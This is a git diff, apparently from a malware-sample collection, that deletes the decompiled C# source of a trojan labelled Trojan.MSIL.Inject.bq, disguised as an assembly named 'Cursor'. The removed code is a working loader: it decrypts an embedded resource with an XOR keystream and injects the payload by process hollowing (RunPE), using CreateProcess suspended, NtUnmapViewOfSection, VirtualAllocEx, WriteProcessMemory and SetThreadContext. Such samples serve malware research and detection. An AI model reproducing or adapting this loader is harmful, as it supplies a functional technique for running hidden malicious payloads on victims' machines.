= new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 84))); - byte[] sInfo = new byte[68]; - IntPtr[] pInfo = new IntPtr[4]; - IntPtr num1; - if (!x86.Win32.CreateProcess((string) null, new StringBuilder(surrogateProcess), num1, num1, false, 4, num1, (string) null, sInfo, pInfo)) - return; - uint[] ctxt = new uint[179]; - ctxt[0] = 65538U; - IntPtr bufr; - IntPtr numRead; - if (x86.Win32.GetThreadContext(pInfo[1], ctxt) && x86.Win32.ReadProcessMemory(pInfo[0], new IntPtr(checked ((long) ctxt[41] + 8L)), ref bufr, new IntPtr(4), ref numRead) && x86.Win32.NtUnmapViewOfSection(pInfo[0], bufr) == 0U) - { - IntPtr hProc1 = pInfo[0]; - IntPtr num2 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 52))); - IntPtr addr1 = num2; - IntPtr num3 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 80))); - IntPtr size2 = num3; - IntPtr baseAddr1 = x86.Win32.VirtualAllocEx(hProc1, addr1, size2, 12288, 64); - bool flag = x86.Win32.WriteProcessMemory(pInfo[0], baseAddr1, bytes, size1, ref numRead); - int num4 = checked (int16 - 1); - int num5 = 0; - while (num5 <= num4) - { - int[] dst1 = new int[10]; - Buffer.BlockCopy((Array) bytes, checked (int32 + 248 + num5 * 40), (Array) dst1, 0, 40); - byte[] dst2 = new byte[checked (dst1[4] - 1 + 1)]; - Buffer.BlockCopy((Array) bytes, dst1[5], (Array) dst2, 0, dst2.Length); - IntPtr hProc2 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr baseAddr2 = num3; - byte[] buff = dst2; - num2 = new IntPtr(dst2.Length); - IntPtr size3 = num2; - ref IntPtr local1 = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc2, baseAddr2, buff, size3, ref local1); - IntPtr hProc3 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr addr2 = num3; - num2 = new IntPtr(dst1[2]); - IntPtr size4 = num2; - int newProt = x86.prot[dst1[9] >> 29 & 7]; - int num6; - ref int local2 = ref num6; - flag = x86.Win32.VirtualProtectEx(hProc3, addr2, size4, newProt, ref local2); - checked { ++num5; } - } - IntPtr hProc4 = pInfo[0]; - num3 = new IntPtr(checked ((long) ctxt[41] + 8L)); - IntPtr baseAddr3 = num3; - byte[] bytes1 = BitConverter.GetBytes(baseAddr1.ToInt32()); - num2 = new IntPtr(4); - IntPtr size5 = num2; - ref IntPtr local = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc4, baseAddr3, bytes1, size5, ref local); - ctxt[44] = checked ((uint) (baseAddr1.ToInt32() + BitConverter.ToInt32(bytes, int32 + 40))); - x86.Win32.SetThreadContext(pInfo[1], ctxt); - } - x86.Win32.ResumeThread(pInfo[1]); - } - - [SuppressUnmanagedCodeSecurity] - private class Win32 - { - [DebuggerNonUserCode] - public Win32() - { - } - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool CreateProcess( - string appName, - StringBuilder commandLine, - IntPtr procAttr, - IntPtr thrAttr, - [MarshalAs(UnmanagedType.Bool)] bool inherit, - int creation, - IntPtr env, - string curDir, - byte[] sInfo, - IntPtr[] pInfo); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("ntdll")] - public static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool ReadProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - ref IntPtr bufr, - IntPtr bufrSize, - ref IntPtr numRead); - - [DllImport("kernel32")] - public static extern int ResumeThread(IntPtr hThr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool SetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("kernel32")] - public static extern IntPtr VirtualAllocEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int allocType, - int prot); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool VirtualProtectEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int newProt, - ref int oldProt); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool WriteProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - byte[] buff, - IntPtr size, - ref IntPtr numRead); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/AssemblyInfo.cs deleted file mode 100644 index 6b00be35..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("Cursor")] -[assembly: AssemblyCopyright("Copyright © 2010")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyDescription("1")] -[assembly: AssemblyProduct("Cursor")] -[assembly: ComVisible(false)] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Module1.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Module1.cs deleted file mode 100644 index 03a42505..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Module1.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.Module1 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace Cursor -{ - [StandardModule] - internal sealed class Module1 - { - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType); - - [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SizeofResource(IntPtr hModule, IntPtr hResInfo); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo); - - [STAThread] - public static void Main() - { - string moduleName = Process.GetCurrentProcess().MainModule.ModuleName; - IntPtr moduleHandle = Module1.GetModuleHandle(ref moduleName); - IntPtr resource = Module1.FindResource(moduleHandle, "69", "GAY"); - IntPtr source = Module1.LoadResource(moduleHandle, resource); - int length = Module1.SizeofResource(moduleHandle, resource); - byte[] numArray = new byte[checked (length - 1 + 1)]; - Marshal.Copy(source, numArray, 0, length); - int int32 = BitConverter.ToInt32(numArray, checked (numArray.Length - 4)); - byte[] bytes = (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[checked (numArray.Length - 3 + 1)]); - Random random = new Random(int32); - byte[] buffer = new byte[checked (bytes.Length - 1 + 1)]; - random.NextBytes(buffer); - int num = checked (bytes.Length - 1); - int index = 0; - while (index <= num) - { - bytes[index] = (byte) ((int) bytes[index] ^ (int) buffer[index]); - checked { ++index; } - } - x86.RunPE(bytes, Process.GetCurrentProcess().MainModule.FileName); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyApplication.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyApplication.cs deleted file mode 100644 index 79fa9d20..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyApplication.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyApplication -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - [DebuggerNonUserCode] - public MyApplication() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyComputer.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyComputer.cs deleted file mode 100644 index 7dcef646..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyComputer -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyProject.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyProject.cs deleted file mode 100644 index c9fcd61e..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyProject.cs +++ /dev/null @@ -1,194 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyProject -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Cursor.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MySettings.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MySettings.cs deleted file mode 100644 index ee04025f..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MySettings.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettings -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MySettingsProperty.cs deleted file mode 100644 index 1b93c5d0..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettingsProperty -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [DebuggerNonUserCode] - [HideModuleName] - [StandardModule] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/Resources/Resources.cs deleted file mode 100644 index 48731c92..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.Resources.Resources -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Cursor.My.Resources -{ - [HideModuleName] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [DebuggerNonUserCode] - [CompilerGenerated] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Cursor.My.Resources.Resources.resourceMan, (object) null)) - Cursor.My.Resources.Resources.resourceMan = new ResourceManager("Cursor.Resources", typeof (Cursor.My.Resources.Resources).Assembly); - return Cursor.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Cursor.My.Resources.Resources.resourceCulture; - set => Cursor.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Resources.resx b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Trojan.MSIL.Inject.bq.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Trojan.MSIL.Inject.bq.csproj deleted file mode 100644 index a10af0fb..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Trojan.MSIL.Inject.bq.csproj +++ /dev/null @@ -1,52 +0,0 @@ - - - - - Debug - AnyCPU - {B6BCD142-F7F0-4820-B7E0-DEE238AEEB62} - WinExe - Cursor - 1.0.0.0 - Cursor - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Trojan.MSIL.Inject.bq.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Trojan.MSIL.Inject.bq.sln deleted file mode 100644 index 692e9035..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Trojan.MSIL.Inject.bq.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.csproj", "{B6BCD142-F7F0-4820-B7E0-DEE238AEEB62}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {B6BCD142-F7F0-4820-B7E0-DEE238AEEB62}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {B6BCD142-F7F0-4820-B7E0-DEE238AEEB62}.Debug|Any CPU.Build.0 = Debug|Any CPU - {B6BCD142-F7F0-4820-B7E0-DEE238AEEB62}.Release|Any CPU.ActiveCfg = Release|Any CPU - {B6BCD142-F7F0-4820-B7E0-DEE238AEEB62}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/x86.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/x86.cs deleted file mode 100644 index f82f8d4a..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/x86.cs +++ /dev/null @@ -1,170 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.x86 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Security; -using System.Text; - -namespace Cursor -{ - public class x86 - { - private static readonly int[] prot = new int[8] - { - 1, - 16, - 2, - 32, - 4, - 64, - 4, - 64 - }; - - [DebuggerNonUserCode] - public x86() - { - } - - public static void RunPE(byte[] bytes, string surrogateProcess) - { - int int32 = BitConverter.ToInt32(bytes, 60); - int int16 = (int) BitConverter.ToInt16(bytes, checked (int32 + 6)); - IntPtr size1 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 84))); - byte[] sInfo = new byte[68]; - IntPtr[] pInfo = new IntPtr[4]; - IntPtr num1; - if (!x86.Win32.CreateProcess((string) null, new StringBuilder(surrogateProcess), num1, num1, false, 4, num1, (string) null, sInfo, pInfo)) - return; - uint[] ctxt = new uint[179]; - ctxt[0] = 65538U; - IntPtr bufr; - IntPtr numRead; - if (x86.Win32.GetThreadContext(pInfo[1], ctxt) && x86.Win32.ReadProcessMemory(pInfo[0], new IntPtr(checked ((long) ctxt[41] + 8L)), ref bufr, new IntPtr(4), ref numRead) && x86.Win32.NtUnmapViewOfSection(pInfo[0], bufr) == 0U) - { - IntPtr hProc1 = pInfo[0]; - IntPtr num2 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 52))); - IntPtr addr1 = num2; - IntPtr num3 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 80))); - IntPtr size2 = num3; - IntPtr baseAddr1 = x86.Win32.VirtualAllocEx(hProc1, addr1, size2, 12288, 64); - bool flag = x86.Win32.WriteProcessMemory(pInfo[0], baseAddr1, bytes, size1, ref numRead); - int num4 = checked (int16 - 1); - int num5 = 0; - while (num5 <= num4) - { - int[] dst1 = new int[10]; - Buffer.BlockCopy((Array) bytes, checked (int32 + 248 + num5 * 40), (Array) dst1, 0, 40); - byte[] dst2 = new byte[checked (dst1[4] - 1 + 1)]; - Buffer.BlockCopy((Array) bytes, dst1[5], (Array) dst2, 0, dst2.Length); - IntPtr hProc2 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr baseAddr2 = num3; - byte[] buff = dst2; - num2 = new IntPtr(dst2.Length); - IntPtr size3 = num2; - ref IntPtr local1 = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc2, baseAddr2, buff, size3, ref local1); - IntPtr hProc3 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - 